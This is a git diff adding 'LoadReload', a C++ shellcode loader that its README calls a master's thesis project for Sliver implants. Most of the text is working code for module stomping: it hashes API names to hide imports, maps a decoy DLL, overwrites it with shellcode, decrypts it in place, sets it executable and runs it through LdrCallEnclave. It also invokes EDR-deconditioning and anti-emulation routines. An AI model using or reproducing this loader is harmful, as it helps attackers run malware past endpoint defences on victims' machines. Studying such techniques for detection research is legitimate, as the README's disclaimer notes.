+namespace LoaderStub { + + // Load binary file from disk + std::vector LoadBinaryFile(const std::string& path); + + // Execute payload in current process + void Execute(std::vector& payload); +} diff --git a/LoadReload/modules/module_stomping.cpp b/LoadReload/modules/module_stomping.cpp new file mode 100644 index 0000000..0cdb662 --- /dev/null +++ b/LoadReload/modules/module_stomping.cpp @@ -0,0 +1,271 @@ +#include "module_stomping.h" +#include +#include +#include +#include +#include +#include +#include +#pragma comment(lib, "Psapi.lib") + +#include "../modules/api_resolver.h" +#include "../modules/loader_stub.h" +#include "../modules/decryptor.h" +#include "../modules/edr_decon.h" +#include "../modules/anti_emulation.h" +#include "../utils/logging.h" +#include "../config.h" + +/*============================[Resolve APIs]=====================================================================================================*/ + +void* ntdllmod = GetModuleHandleA("ntdll.dll"); + +fnLdrCallEnclave MyCallFunc = (fnLdrCallEnclave)findfunc(ntdllmod, hashstr("LdrCallEnclave")); +fnNtProtectVirtualMemory MyProtectVirtualMem = (fnNtProtectVirtualMemory)findfunc(ntdllmod, hashstr("NtProtectVirtualMemory")); +fnNtAllocateVirtualMemory MyAllocMem = (fnNtAllocateVirtualMemory)findfunc(ntdllmod, hashstr("NtAllocateVirtualMemory")); +fnNtUnmapViewOfSection MyUnmapSec = (fnNtUnmapViewOfSection)findfunc(ntdllmod, hashstr("NtUnmapViewOfSection")); +fnNtCreateSection MyCreateSection = (fnNtCreateSection)findfunc(ntdllmod, hashstr("NtCreateSection")); +fnNtMapViewOfSection MyMapViewOfSection = (fnNtMapViewOfSection)findfunc(ntdllmod, hashstr("NtMapViewOfSection")); + +HMODULE hKernel32 = LoadLibraryA("kernel32.dll"); +fnLoadLibraryExW MyLoadLibrary = (fnLoadLibraryExW)findfunc(hKernel32, hashstr("LoadLibraryExW")); + + +/*========================================================[Overwrite DLL]=================================================================================*/ + +namespace Module_Stomping +{ + + /*========================================================[Load DLL]=================================================================================*/ + PVOID g_pSacrificialHeaders = nullptr; + SIZE_T g_sSacrificialHeaderSize = 0; + + BOOL LoadDllFile( + IN LPCWSTR szDllFilePath, + OUT HMODULE* phModule, + OUT PVOID* pEntryPoint, + OUT ULONG_PTR* psImgSize // optional: to know image size + ) { + HANDLE hFile = INVALID_HANDLE_VALUE; + HANDLE hSection = NULL; + NTSTATUS status = STATUS_SUCCESS; + ULONG_PTR uMappedModule = NULL; + SIZE_T sViewSize = 0; + PIMAGE_NT_HEADERS pImgNtHdrs = NULL; + + if (!szDllFilePath || !phModule || !pEntryPoint) + return FALSE; + + // Open the DLL on disk + hFile = CreateFileW(szDllFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) { + wprintf(L"[-] CreateFileW failed (%d)\n", GetLastError()); + return false; + } + + // Create a section for the image + status = MyCreateSection( + &hSection, + SECTION_ALL_ACCESS, + NULL, + 0, + PAGE_READONLY, + SEC_IMAGE, + hFile + ); + if (!NT_SUCCESS(status)) { + wprintf(L"[-] NtCreateSection failed (0x%08X)\n", status); + return false; + } + + // Map the image section into memory + uMappedModule = 0; + SECTION_INHERIT inheritDisposition = ViewShare; + status = MyMapViewOfSection( + hSection, + NtCurrentProcess(), + (PVOID*)&uMappedModule, + 0, + 0, + NULL, + &sViewSize, + ViewShare, + 0, + PAGE_READWRITE // Final perms of the sections mapped in memory + ); + if (!NT_SUCCESS(status)) { + wprintf(L"[-] NtMapViewOfSection failed (0x%08X)\n", status); + return false; + } + + // Validate image + auto* pDos = (PIMAGE_DOS_HEADER)uMappedModule; + if (pDos->e_magic != IMAGE_DOS_SIGNATURE) { + wprintf(L"[-] Invalid DOS header\n"); + goto _FUNC_CLEANUP; + } + + pImgNtHdrs = (PIMAGE_NT_HEADERS)(uMappedModule + pDos->e_lfanew); + if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE) { + wprintf(L"[-] Invalid NT header\n"); + goto _FUNC_CLEANUP; + } + + // Success - set out params + *phModule = (HMODULE)uMappedModule; + *pEntryPoint = (PVOID)(uMappedModule + pImgNtHdrs->OptionalHeader.AddressOfEntryPoint); + if (psImgSize) + *psImgSize = pImgNtHdrs->OptionalHeader.SizeOfImage; + + // Save sacrificial headers for later use + g_pSacrificialHeaders = malloc(pImgNtHdrs->OptionalHeader.SizeOfHeaders); + g_sSacrificialHeaderSize = pImgNtHdrs->OptionalHeader.SizeOfHeaders; + + if (g_pSacrificialHeaders) + memcpy(g_pSacrificialHeaders, (PVOID)uMappedModule, g_sSacrificialHeaderSize); + + DELETE_HANDLE(hFile); + DELETE_HANDLE(hSection); + return TRUE; + + _FUNC_CLEANUP: + DELETE_HANDLE(hFile); + DELETE_HANDLE(hSection); + return (*phModule && *pEntryPoint) ? TRUE : FALSE;; + } + + /*==================================[HELPERS]==========================================================================================================*/ + + // Overwrite the mapped sacrificial DLL with shellcode + BOOL OverwriteSacrificialDll( + IN ULONG_PTR uMappedMemory, + IN SIZE_T sMappedSize, + IN ULONG_PTR uShellcode, + IN SIZE_T sShellcodeSize + ) { + if (!uMappedMemory || !uShellcode || !sShellcodeSize) { + printf("[-] Invalid parameters\n"); + return FALSE; + } + + if (sShellcodeSize > sMappedSize) { + printf("[-] Shellcode size is larger than mapped memory size\n"); + return FALSE; + } + + DWORD oldProtect = 0; + NTSTATUS st = MyProtectVirtualMem( + GetCurrentProcess(), + (PVOID*)&uMappedMemory, + &sMappedSize, + PAGE_READWRITE, + &oldProtect + ); + + // Zero out existing memory except for headers + memset((char*)uMappedMemory + g_sSacrificialHeaderSize, 0, sMappedSize - g_sSacrificialHeaderSize); + // Copy shellcode to dll after headers + memcpy((char*)uMappedMemory + g_sSacrificialHeaderSize, (void*)uShellcode, sShellcodeSize); + + return TRUE; + } + + + /*=======================================================[MODULE OVERLOADING SECTION]==================================================================*/ + + // Patch section of a loaded DLL and execute shellcode + bool PatchSectionAndExecute(LPCWSTR dllPath, const std::vector& shellcode) { + HMODULE hMappedDll = NULL; + PVOID pEntryPoint = NULL; + ULONG_PTR imageSize = 0; + + // Step 1: Ghost-load the DLL + if (!LoadDllFile(dllPath, &hMappedDll, &pEntryPoint, &imageSize)) { + printf("[-] Failed to load DLL using section mapping\n"); + return false; + } + + printf("[+] DLL mapped at: %p | Image size: 0x%llx | Entry point: %p\n", hMappedDll, imageSize, pEntryPoint); + +#if USE_EDR_DECON + // Step 1.5: EDR Decon + constexpr size_t kTwentyMB = 20 * 1024 * 1024; // 20 megabytes in bytes + EDRDecon::DoFakeOverwrites(kTwentyMB); +#endif + + BusySleepMs(1000); // Small delay + + // Step 2: Overwrite sacrificial DLL + if (!OverwriteSacrificialDll( + reinterpret_cast(hMappedDll), + imageSize, + reinterpret_cast(shellcode.data()), + shellcode.size())) + { + printf("[-] Failed to overwrite sacrificial DLL\n"); + return false; + } + + printf("[+] DLL overwritten in place\n"); + + + // Step 3: Flip to RW + ULONG oldProtect = 0; + NTSTATUS st = MyProtectVirtualMem( + GetCurrentProcess(), + (PVOID*)&hMappedDll, + &imageSize, + PAGE_READWRITE, + &oldProtect + ); + + // Set pointer for decryption after the headers + handle_t decryptionPtr = reinterpret_cast(hMappedDll) + g_sSacrificialHeaderSize; + + // Step 4: Decrypt in-place +#if USE_DECRYPTION + if (!Decryptor::DecryptInPlace(reinterpret_cast(decryptionPtr), shellcode.size())) { + printf("[-] Decryption failed\n"); + return false; + } + printf("[+] Shellcode decrypted in-place at %p\n", decryptionPtr); +#endif + + + + // Step 5: Change permissions to RX + SIZE_T regionSize = shellcode.size(); + handle_t hMappedDLL = hMappedDll; + st = MyProtectVirtualMem( + GetCurrentProcess(), + (PVOID*)&decryptionPtr, + ®ionSize, + PAGE_EXECUTE_READ, + &oldProtect + ); + + if (st != 0) { + printf("[-] NtProtectVirtualMemory failed: 0x%X\n", st); + return false; + } + + FlushInstructionCache(GetCurrentProcess(), decryptionPtr, regionSize); + + printf("[+] Shellcode written and memory set to RX. Executing...\n"); + + // Step 6: Execute using LdrCallEnclave + PVOID param = nullptr; + st = MyCallFunc( + (PENCLAVE_ROUTINE)decryptionPtr, + 0, + ¶m + ); + + if (st != 0) { + printf("[-] LdrCallEnclave failed with status: 0x%X\n", st); + return false; + } + + return true; + } +}; // namespace Module_Stomping \ No newline at end of file diff --git a/LoadReload/modules/module_stomping.h b/LoadReload/modules/module_stomping.h new file mode 100644 index 0000000..2cde8bd --- /dev/null +++ b/LoadReload/modules/module_stomping.h @@ -0,0 +1,10 @@ +#pragma once +#include +#include +#include +#include + +namespace Module_Stomping { + bool PatchSectionAndExecute(LPCWSTR dllPath, const std::vector& shellcode); + +} // namespace Module_Stomping \ No newline at end of file diff --git a/LoadReload/utils/logging.h b/LoadReload/utils/logging.h new file mode 100644 index 0000000..cca958d --- /dev/null +++ b/LoadReload/utils/logging.h @@ -0,0 +1,19 @@ +#pragma once +#include +#include + +namespace Log { + + enum class LogLevel { Msg, Warn, Error }; + + inline void Write(LogLevel lvl, const std::string& msg) { + switch (lvl) { + case LogLevel::Msg: std::cout << "[INFO] "; break; + case LogLevel::Warn: std::cout << "[WARN] "; break; + case LogLevel::Error: std::cout << "[ERROR] "; break; + } + std::cout << msg << std::endl; + } + +} // namespace Log + diff --git a/README.md b/README.md new file mode 100644 index 0000000..2370b27 --- /dev/null +++ b/README.md @@ -0,0 +1,45 @@ +# LoadReload +Shellcode Loader for Master Thesis, designed for Sliver-Shellcode (smaller than 25MB....). + + +> [!Note] +> **Features:** +> +> - Multibyte-XOR Decryption of Payload +> - Fetches Payload locally +> - Anti-Emulation by BusySleep-Function via KUSER_SHARED_DATA +> - RW-RX-Loop for EDR-Deconditioning / Wasting Resources for Memory-Scanners +> - Preloading of Network-DLLs against behaviour alerts like "Network Module from Stomped Module" +> - Module Overloading of Decoy-DLL chosen by Operator (currently edgehtml.dll) +> - IAT Obfuscation by API-Hashing and Dynamic API-Resolution +> - Shellcode Execution via LdrCallenclave +> +> **References & Thanks** +> +> I couldnt have achieved anything in this thesis without the awesome work of other people and the great support of my thesis supervisor. So I wanna thank each of these persons guiding me and helping me grow. +> - https://github.com/eversinc33 +> - https://github.com/dobin +> - https://github.com/S3cur3Th1sSh1t +> - and many more... +> +> The Features listed above where inspired by: +> - https://maldevacademy.com +> - https://blog.deeb.ch/posts/how-edr-works/ +> - https://github.com/dobin/SuperMega/blob/main/data/source/antiemulation/sirallocalot.c +> - https://github.com/dobin/SuperMega/blob/main/data/source/antiemulation/timeraw.c +> - https://gist.github.com/whokilleddb/ef1f8c33947f6ceb90664ce38d3dcf04 +> - https://github.com/tlsbollei/KittyLoader + + +> [!CAUTION] +> **Disclaimer & Legal Notice** +> This repository, **LoadReload**, and all associated code, techniques, and information are provided strictly for **educational and academic research purposes**. +> +> This sample and its methodologies are actively used to research attack patterns, develop detection capabilities, and enhance security products. +> +> You are required to use this knowledge and these tools **only on systems you own or have explicit, written permission to test**. +> Any unauthorized use against systems you do not own is **illegal and strictly prohibited**. +> +> This tool was created to advance the field of defensive cybersecurity. The author, *0xRoam*, assumes **no liability** and is not responsible for any misuse or damage caused by this software. +> +> By accessing this repository, you acknowledge that you understand its purpose is to learn about **modern malware techniques, evasion tactics**, and ultimately to **improve our collective ability to defend against them**.